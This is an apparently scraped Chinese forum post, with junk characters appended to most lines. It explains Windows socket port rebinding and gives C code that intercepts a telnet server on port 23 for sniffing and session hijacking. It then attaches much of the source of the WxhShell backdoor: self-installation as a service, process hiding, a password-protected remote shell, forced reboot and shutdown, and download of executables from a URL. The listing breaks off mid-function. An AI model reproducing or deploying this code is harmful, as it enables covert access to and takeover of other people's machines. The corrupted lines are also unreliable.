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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y$<p_X,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  8\Uy  
gaC [%M  
  saddr.sin_family = AF_INET; .qfU^AHA  
Zk<Y+!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cb i;CF\{  
k* e $_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]uZaj?%J<  
M}\p/r=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K]H [A,  
m;oCi }fL  
  这意味着什么?意味着可以进行如下的攻击: =DsFR9IB  
3:?QE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z`2Ais@ao  
rGgP9 (  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HvJ-P#  
B{2WvPX~q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3\Tqs  
{D`_q|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E! mxa  
g..&x]aS(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qE@H~&  
#``Alh8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ::k cV'*  
y*vg9`$k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X(qs]:  
]\6*2E{1m  
  #include N+CcWs!E  
  #include z"$huE>P6  
  #include >)8<d3m  
  #include    = 6.i.(L_S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N D1'XCN  
  int main() z:W|GDD1  
  { 5]F4.sa  
  WORD wVersionRequested; HzZ.q2Zz%  
  DWORD ret; kB]?95>Wx  
  WSADATA wsaData; >goG\y  
  BOOL val; 9ohO-t$XkY  
  SOCKADDR_IN saddr; ot; ]?M  
  SOCKADDR_IN scaddr; 6e4A| <  
  int err; A(T=  
  SOCKET s; !~!\=etm  
  SOCKET sc; U*cWNn:."  
  int caddsize; kPezR: 31  
  HANDLE mt; fK; I0J  
  DWORD tid;   4)].{Z4 q  
  wVersionRequested = MAKEWORD( 2, 2 ); Y=(%t:#_  
  err = WSAStartup( wVersionRequested, &wsaData ); }c ,:uN  
  if ( err != 0 ) { 3bZ:*6W.6  
  printf("error!WSAStartup failed!\n"); :IRQouTf:,  
  return -1; TLT6z[  
  } ~4=XYYcka  
  saddr.sin_family = AF_INET; ZL+46fj  
   t`G<}t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sHm :G_  
CW'<Nh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4R28S]Gb  
  saddr.sin_port = htons(23); JK^pb0ih  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JTdcL mL  
  { m?O"LGBB =  
  printf("error!socket failed!\n"); x%OJ3Qjj=  
  return -1; 41 #YtZ  
  } ?a{>QyL  
  val = TRUE; =g<Yi2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a @i?E0Fr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O_^ uLp  
  { ^)S<Ha  
  printf("error!setsockopt failed!\n"); @X]J MicJ  
  return -1; Je#vu`.\\  
  } )@E'yHYO>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TQsTL2a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z1sRLkR^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |6T"T P  
A}MF>.!}C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =0mXTY1  
  { A"Sp7M[J  
  ret=GetLastError(); &O|qx~(  
  printf("error!bind failed!\n"); UmOK7SPi  
  return -1; qd@Fb*  
  } Bt(U,nFB  
  listen(s,2); 17S<6j#H5  
  while(1) ?X3uPj9if  
  { #(1R:z\:  
  caddsize = sizeof(scaddr); `(VVb@:o  
  //接受连接请求 Py~N.@(:1u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wOrpp3I  
  if(sc!=INVALID_SOCKET) z]n&,q,5g  
  { &n9 srs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {IT;g9x  
  if(mt==NULL) VCc57 Bo  
  { MUR Hv3  
  printf("Thread Creat Failed!\n"); Z.3*sp0 yv  
  break; FcmL 4^s.`  
  } X,ok3c4X  
  }  "xp>Vj  
  CloseHandle(mt); P;[>TCs ]8  
  } AN4(]_ ]  
  closesocket(s); LT6VZ,S  
  WSACleanup(); K?H(jP2mpM  
  return 0; 1SY3  
  }   V2BsvR`  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2X|nPhNi  
  { ],w+4;+  
  SOCKET ss = (SOCKET)lpParam; m}GEx)Y D  
  SOCKET sc; QR*{}`+l  
  unsigned char buf[4096]; u!9bhL`  
  SOCKADDR_IN saddr; 7 ^n{BsN  
  long num; -A)/CFIZ  
  DWORD val; z[*Y%o8-r  
  DWORD ret; #}aBRKZ f6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^_XV}&7Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QI{<q<  
  saddr.sin_family = AF_INET; _[8sL^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @2R+?2 j  
  saddr.sin_port = htons(23); 4KZ)`KPE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &8@ a"  
  { * Fz#x{zt  
  printf("error!socket failed!\n"); Ufv0Xj  
  return -1; (qg~l@rf  
  } </33>Fu)  
  val = 100; ( Y)a`[B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n_1,-(t  
  { :my@Oxx4@  
  ret = GetLastError(); cDqj&:$e  
  return -1; V(<(k,8=  
  } .tt=\R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Su/}OS\R  
  { CpdQ]Ai[  
  ret = GetLastError();  Sn-D|Z  
  return -1; ZA8FX  
  } K])| V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &ZAc3@l[c  
  { -`d(>ok  
  printf("error!socket connect failed!\n"); zR_yxs'  
  closesocket(sc); O`FuXB(t  
  closesocket(ss); <n)R?P(or  
  return -1; ]]lM)  
  } e3x;(@j  
  while(1) 73tWeZ8rvx  
  { (*dJ   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HQtUNtZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o!}/& '(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r!HB""w  
  num = recv(ss,buf,4096,0); ?&se]\  
  if(num>0) >TddKR @C  
  send(sc,buf,num,0); P<s:dH"  
  else if(num==0) 4{J'p19  
  break; ?%RR+(2m  
  num = recv(sc,buf,4096,0); 4&'_~qU  
  if(num>0) k ks ?S',  
  send(ss,buf,num,0); :j( D&?ao  
  else if(num==0) eKek~U&  
  break; "i/3m'<2  
  } s&~.";b  
  closesocket(ss); ?*A"#0  
  closesocket(sc); O!.mc=Gx7  
  return 0 ; 3:G94cp5  
  } kU$M 8J.  
)0xEI  
aIABx!83>  
========================================================== NZ?|#5 3  
TM1J1GU  
下边附上一个代码,,WXhSHELL N6*v!M+  
.W q"  
========================================================== <|_b:  
:z}  
#include "stdafx.h" M}W};~V2ng  
tx{tIw^2;  
#include <stdio.h> DsH`I %w{  
#include <string.h> `-[+(+["  
#include <windows.h> LTt| "D  
#include <winsock2.h> ; #^Jy#)  
#include <winsvc.h> 7{:g|dX  
#include <urlmon.h> 5N4[hQrVJ  
B^sHFc""V  
#pragma comment (lib, "Ws2_32.lib") .3*VkAs  
#pragma comment (lib, "urlmon.lib") SK_i 3?  
+i.b&PF'H  
#define MAX_USER   100 // 最大客户端连接数 bLpGrGJs  
#define BUF_SOCK   200 // sock buffer ?{M!syD<  
#define KEY_BUFF   255 // 输入 buffer /"%QIy'{  
Pw_[{LL  
#define REBOOT     0   // 重启 _Q3Ad>,U  
#define SHUTDOWN   1   // 关机 1F_ 1bAh$  
zPT!Fa`  
#define DEF_PORT   5000 // 监听端口 %xWscA%^u  
;Z(~;D  
#define REG_LEN     16   // 注册表键长度 hSyA;*)U  
#define SVC_LEN     80   // NT服务名长度 U?:<clh  
a,U@ !}K  
// 从dll定义API niIjatT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1GL@t?S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W!G2$e6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pr(16P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CF k^(V"  
\XXS;  
// wxhshell配置信息 Fl^}tC  
struct WSCFG { Y8yRQ zu  
  int ws_port;         // 监听端口 * 5Y.9g3)Q  
  char ws_passstr[REG_LEN]; // 口令 KU}HVM{  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kzd`|+?'`M  
  char ws_regname[REG_LEN]; // 注册表键名 `X7ns?  
  char ws_svcname[REG_LEN]; // 服务名 M1f ^Lx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 StuDtY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I=3e@aTZ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uY;2tZldf=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {%;KkC8=R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ck0R%|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z 7M%}V%  
$&|*v1rH  
}; Nl^{w'X0h  
&G>EBKn\2`  
// default Wxhshell configuration L('G1J}  
struct WSCFG wscfg={DEF_PORT, d#9"_{P  
    "xuhuanlingzhe", F+@E6I'g  
    1, a+CHrnU\;  
    "Wxhshell", 6T_Mk0Sf+  
    "Wxhshell", buhn~ c  
            "WxhShell Service", F" -w  
    "Wrsky Windows CmdShell Service", $LF  
    "Please Input Your Password: ", Bjz\L0d  
  1, K"sfN~@rT[  
  "http://www.wrsky.com/wxhshell.exe", KR6*)?c`  
  "Wxhshell.exe" NgnHo\)  
    }; <E|K<}W#  
bTn7$EG  
// 消息定义模块 L:y} L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _r}oYs%1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )oSUhU26}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3 9Ql|l$  
char *msg_ws_ext="\n\rExit."; t?0D*!D  
char *msg_ws_end="\n\rQuit."; '`Smg3T!~S  
char *msg_ws_boot="\n\rReboot..."; {t$ vsR  
char *msg_ws_poff="\n\rShutdown..."; Odr@9MJ  
char *msg_ws_down="\n\rSave to "; k]Y#-Q1p~  
F%Lniv/N  
char *msg_ws_err="\n\rErr!"; 4C ;4"6  
char *msg_ws_ok="\n\rOK!"; _F *(" o  
}Vpr7_  
char ExeFile[MAX_PATH]; xi=qap=S^9  
int nUser = 0; _= _]Yx  
HANDLE handles[MAX_USER]; *Bt`6u.>e,  
int OsIsNt; /AR;O4X+  
q($lL~Ls  
SERVICE_STATUS       serviceStatus; JqO#W1h~R|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TIV1?S  
PZF>ia}  
// 函数声明 d{f3R8~Q.  
int Install(void); <)zh2UI  
int Uninstall(void); B(mxW8y  
int DownloadFile(char *sURL, SOCKET wsh); EO,;^RtB  
int Boot(int flag); FG~p _[K  
void HideProc(void); 6$>m s6g%  
int GetOsVer(void); N1KYV&'o  
int Wxhshell(SOCKET wsl); SPIYB/C  
void TalkWithClient(void *cs); <=V2~ asB  
int CmdShell(SOCKET sock); KLXv?4!  
int StartFromService(void); '!!w|k d  
int StartWxhshell(LPSTR lpCmdLine); *_$%Tv.]  
buRXzSR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Xa`LG =|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /c`)Er 6d  
j8@YoD5o  
// 数据结构和表定义 QJo)  
SERVICE_TABLE_ENTRY DispatchTable[] = !GMb~  
{ -pj&|< h+9  
{wscfg.ws_svcname, NTServiceMain}, 2F3IC  
{NULL, NULL} Mz<4P3"H  
}; mj<(qZh  
{W }.z  
// 自我安装 "JSg/optc  
int Install(void) 7g5sJj  
{ +V&b<y;?>  
  char svExeFile[MAX_PATH]; ;0}$zy1EZ  
  HKEY key; /40Z-'Bl=(  
  strcpy(svExeFile,ExeFile); W;,.OoDc>  
pN&Dpz^  
// 如果是win9x系统,修改注册表设为自启动 xkOyj`IS  
if(!OsIsNt) { o:#MP(h,N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zp4Jd"XBX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e(BF=gesgp  
  RegCloseKey(key); ?N#mD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @4h .?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IBU(Hm1,  
  RegCloseKey(key); m4ovppC  
  return 0; K 3?7Hndf2  
    } QQ97BP7W  
  } >  K,Q`sS  
} K(Otgp+zb  
else { #HB]qa  
!l_ 1r$  
// 如果是NT以上系统,安装为系统服务 _p7c<$ ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p[&'*"o!/  
if (schSCManager!=0) IQdiVj  
{ GFx >xQk  
  SC_HANDLE schService = CreateService v4(!~S  
  ( Gw3|"14  
  schSCManager, Qm,|'y:Tg  
  wscfg.ws_svcname, Rs8`M8(4%  
  wscfg.ws_svcdisp, Ol"p^sqwj  
  SERVICE_ALL_ACCESS, vN 7a)s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aD3'gc,l  
  SERVICE_AUTO_START, B4GgR,P@S  
  SERVICE_ERROR_NORMAL, uI-te~]  
  svExeFile, kwK<?\D  
  NULL, %|o4 U0c  
  NULL, ;04doub  
  NULL, sxl29y^*  
  NULL, UBi0 /  
  NULL +|Xx=1_?BK  
  ); ]gkI:scPA  
  if (schService!=0) h5x FP  
  { pF#nj`L  
  CloseServiceHandle(schService); 3Zdkf]Gh  
  CloseServiceHandle(schSCManager); >va#PFHA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w^NE`4 -  
  strcat(svExeFile,wscfg.ws_svcname); `>'E4z]-_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -GCGxC2u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N(]6pG=  
  RegCloseKey(key); LwkZ(Tt  
  return 0; I 8`@Srw8  
    } +QuaQ% lA  
  } P$Xig  
  CloseServiceHandle(schSCManager); k%/Z.4vQG  
} qWtvo';3  
} c&AA< 6pkv  
O|#^&d  
return 1; Jp xJZJ  
}  hPx=3L$  
: UD<1fh  
// 自我卸载 EG59L~nM  
int Uninstall(void) }Hrm/Ni  
{ O@'/B" &  
  HKEY key; CG@ LYN  
F%lP<4Vx  
if(!OsIsNt) { X|7gj &1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %-i2MK'A  
  RegDeleteValue(key,wscfg.ws_regname); QgC  
  RegCloseKey(key); jw5Bbyk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B:a&)L wp0  
  RegDeleteValue(key,wscfg.ws_regname); %[-D&flKC  
  RegCloseKey(key); Sh*LD QL<?  
  return 0; /{d7%Et6  
  } ,S2D/Y^>  
} H{E223  
} d5\w'@Di  
else { 7$a,pNDw  
65\'(99y U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *rK}Ai  
if (schSCManager!=0) O]~cv^  
{ VW I{ wC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =\ iV=1iB  
  if (schService!=0) !BP/#  
  { bf-.SX~  
  if(DeleteService(schService)!=0) { &o= #P2Qd  
  CloseServiceHandle(schService); 5<GC  
  CloseServiceHandle(schSCManager); =" #O1$  
  return 0; V"#ie Y n  
  } ),mKEpf  
  CloseServiceHandle(schService); +tkDT@ `  
  } ,sn ?V~)  
  CloseServiceHandle(schSCManager); BEx? bf@|]  
} \&`S~cV9  
} H.hF`n  
>>Z.]  
return 1; PR|F-/o  
} "b8<C>wY  
z^T/kK3I  
// 从指定url下载文件 :&HrOdz  
int DownloadFile(char *sURL, SOCKET wsh) _)yn6M'Dt  
{ vXAO#'4tm%  
  HRESULT hr; 6UG7lH!M  
char seps[]= "/"; =66dxU?}  
char *token; '0[D-jEr  
char *file; E;*#fD~@  
char myURL[MAX_PATH]; SHOg,#mV  
char myFILE[MAX_PATH]; DFQp<Eq]7  
y9{KBM%h  
strcpy(myURL,sURL); UIi;&[  
  token=strtok(myURL,seps); Q35$GFj"jD  
  while(token!=NULL) Waj6.PCFm  
  { X&8&NkH  
    file=token; Ya<S/9c  
  token=strtok(NULL,seps); G<#9`  
  } }Ry:})  
S4aN7.'Q  
GetCurrentDirectory(MAX_PATH,myFILE); [ p$f)'  
strcat(myFILE, "\\"); $d3al%Uo  
strcat(myFILE, file); GF*8(2h2  
  send(wsh,myFILE,strlen(myFILE),0); ]wMd!.lm-  
send(wsh,"...",3,0); ) gYsg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0D+[W5TB  
  if(hr==S_OK) F"1)y>2k  
return 0; P%A;EF~ v  
else 7#SXqyP[  
return 1; @@"}i7  
>\ y|}|?  
} +3dWnBg?  
eRKuy l  
// 系统电源模块 LuM:dJ  
int Boot(int flag) HQw98/-_W  
{ _ [su?C  
  HANDLE hToken; }><Vc ouJ[  
  TOKEN_PRIVILEGES tkp; Uoe;4ni  
?& qMC  
  if(OsIsNt) { h.d-a/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y3 {'s>O6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r: ]t9y>$<  
    tkp.PrivilegeCount = 1; HT0VdvLw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; thy)J.<J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sG[v vm  
if(flag==REBOOT) { T2<?4^xN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {VtmQU? cJ  
  return 0; cVYDO*N2T  
} B +[ri&6X\  
else { B9^ @d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |T\`wcP`q  
  return 0; r"sK@  
} C62:G+W&o  
  } &TJMopVn  
  else { X|zQZ<CO  
if(flag==REBOOT) { Hof@,w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) meey5}  
  return 0; r6S-G{o  
} XVr>\T4  
else { XHs>Q>`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xucrp::g  
  return 0; wCw-EGLR  
} %Xc50n2Z  
} sQUJ]h  
3D32'KO_"  
return 1; 7iMBDkb7  
} Hvqvggfi  
A#;6~f  
// win9x进程隐藏模块 aO8n\'bv  
void HideProc(void) < %@e<,8  
{ HHVCw7r0  
)r2$!(NQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8T<LNC  
  if ( hKernel != NULL ) ;w>Dqem  
  { vP6NIcWC3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t|-TG\Q X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (K9pr>le  
    FreeLibrary(hKernel); \OPJ*/U  
  } [hzw..?g  
`W>cA64 o  
return; zntvKOIh  
} m}Xb#NAF8  
Q^13KWvuV  
// 获取操作系统版本 *Z}^T:3iw}  
int GetOsVer(void) %87D(h!.I4  
{ 1g_p`(  
  OSVERSIONINFO winfo; "/H B#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )gF>nNE  
  GetVersionEx(&winfo); h,-2+}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8xf]zM"Q  
  return 1; YX*NjXL  
  else )(b, v/:  
  return 0; s/Ne,v  
} ox:m;-Ml?_  
 -c%#Hd  
// 客户端句柄模块 ,~8&0p  
int Wxhshell(SOCKET wsl) 03N|@Tu  
{ ByyvRc,v  
  SOCKET wsh; mnzB90<  
  struct sockaddr_in client; E~}@56ER}  
  DWORD myID; +"J2k9E  
@M( hyS&on  
  while(nUser<MAX_USER) @S?`!=M  
{ Q9T/@FX  
  int nSize=sizeof(client); `r#]dT[g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nm {|  
  if(wsh==INVALID_SOCKET) return 1; [A jY ~  
PmjN!/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C2e.RTxc  
if(handles[nUser]==0) ZG(.Q:1  
  closesocket(wsh); `L~gERW#  
else lZ,w#sqbY  
  nUser++; 7QSr C/e  
  } ,:[\h\5m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8O^<#lh  
g \.O5H9Od  
  return 0; \d-H+t]  
} vw~=z6Ka  
~ eNKu  
// 关闭 socket Q*jNJ^IW  
void CloseIt(SOCKET wsh) V2B@Lq"9`  
{ kB#;s  
closesocket(wsh); %*bGW'Cw  
nUser--; TmviYP gb  
ExitThread(0); D9yAq'k$  
} G^1 5V'*  
G/ sRi wL  
// 客户端请求句柄 ol3].0Vc]  
void TalkWithClient(void *cs) =w!>/#U  
{ 9 AWFjoXl"  
zrDcO~w  
  SOCKET wsh=(SOCKET)cs; =Ju%3ptH0  
  char pwd[SVC_LEN]; _a]0<Vm C0  
  char cmd[KEY_BUFF]; =|+%^)E  
char chr[1]; 6Pp3*O`/V  
int i,j; %2@O,uCo@  
?3#L?Cq  
  while (nUser < MAX_USER) { $G<!+^T  
} *:H\GL  
if(wscfg.ws_passstr) { tUGnp'r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m'n<.1;1{j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YMG~k3Yb  
  //ZeroMemory(pwd,KEY_BUFF); X_HU?Q_N  
      i=0; :DG7Z  
  while(i<SVC_LEN) { PenkqDc}  
m!- R}PQC  
  // 设置超时 ]]F e:>  
  fd_set FdRead; QnJd}(yN  
  struct timeval TimeOut; #fVk;]u`[3  
  FD_ZERO(&FdRead); Hb&C;lk  
  FD_SET(wsh,&FdRead); %\f<N1~*  
  TimeOut.tv_sec=8; `RlMfd  
  TimeOut.tv_usec=0; @f!r"P]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]mR!-Fqj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mI> =S  
t) uS7y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xk>YiV",?  
  pwd=chr[0]; BAIR!  
  if(chr[0]==0xd || chr[0]==0xa) { JZup} {a  
  pwd=0; 7lUnqX.  
  break; MA,7 |s  
  } mufXM(  
  i++; u>\u}c  
    } bHRRgR`,  
Xmny(j)g  
  // 如果是非法用户,关闭 socket a{ p1Yy-]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9,jFQb(),  
} ]?*'[  
wh2Ljskda8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b"JX6efnN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h+DK .$  
c#zx" ,K  
while(1) { 4+B&/}FDLo  
tk\)]kj  
  ZeroMemory(cmd,KEY_BUFF); frRO?  
HVz|*?&6  
      // 自动支持客户端 telnet标准   O77^.B  
  j=0; K+<F, P  
  while(j<KEY_BUFF) { i%GNm D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yPoa04!{=  
  cmd[j]=chr[0]; TCI)L}L|  
  if(chr[0]==0xa || chr[0]==0xd) { 4N(iow4  
  cmd[j]=0; Dqg01_O9O  
  break; OrY^?E  
  } %CV.xDE8  
  j++; ?_`X8Ok  
    } G'T: l("l  
"Z]z9(  
  // 下载文件 /k.?x]Ab  
  if(strstr(cmd,"http://")) { #_kV o3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '/F%  ff  
  if(DownloadFile(cmd,wsh)) 2-dEie/{'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ja&S^B^@  
  else /5Tp)h|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PiJ >gDx  
  } \C kb:  
  else { 8}Cp(z2  
AhU   
    switch(cmd[0]) { CHckmCgf4  
  AOM@~qyc   
  // 帮助 3S"kw  
  case '?': { av"dJm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |t6:4']  
    break; z7!@^!r  
  } UM}MK  
  // 安装 2O(= 2X  
  case 'i': { z9 $1jC  
    if(Install()) G2yQHTbl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H~; s$!lG  
    else }qg.Go  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m](q,65 2  
    break; JN-W`2  
    } =JE5/  
  // 卸载 dO!B=/  
  case 'r': { 8SN4E  
    if(Uninstall()) !@T5](zV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LMaY}m>  
    else MDauHtF,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GhR%fxe  
    break; AP9>_0=  
    } 1T 8|>2m 3  
  // 显示 wxhshell 所在路径 "?>hQM1R  
  case 'p': { LAH.PcjPa  
    char svExeFile[MAX_PATH]; 9'0v]ar  
    strcpy(svExeFile,"\n\r"); UIo jXR<  
      strcat(svExeFile,ExeFile); )E c /5=A  
        send(wsh,svExeFile,strlen(svExeFile),0); a{\<L/\  
    break; mJ'5!G  
    } RYV:?=D7s  
  // 重启 e=Q{CsP  
  case 'b': { _i2guhRs*Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .zo>,*:t  
    if(Boot(REBOOT)) B *otqu z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ykT(`.#  
    else { do DpTwvh  
    closesocket(wsh); fl+2 '~  
    ExitThread(0); r2=4Wx4(  
    } T:g=P@  
    break; +jyWqld.K1  
    } Lnc>O'<5P9  
  // 关机 IzlmcP3  
  case 'd': { g|<$ \}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -"5r-qq*  
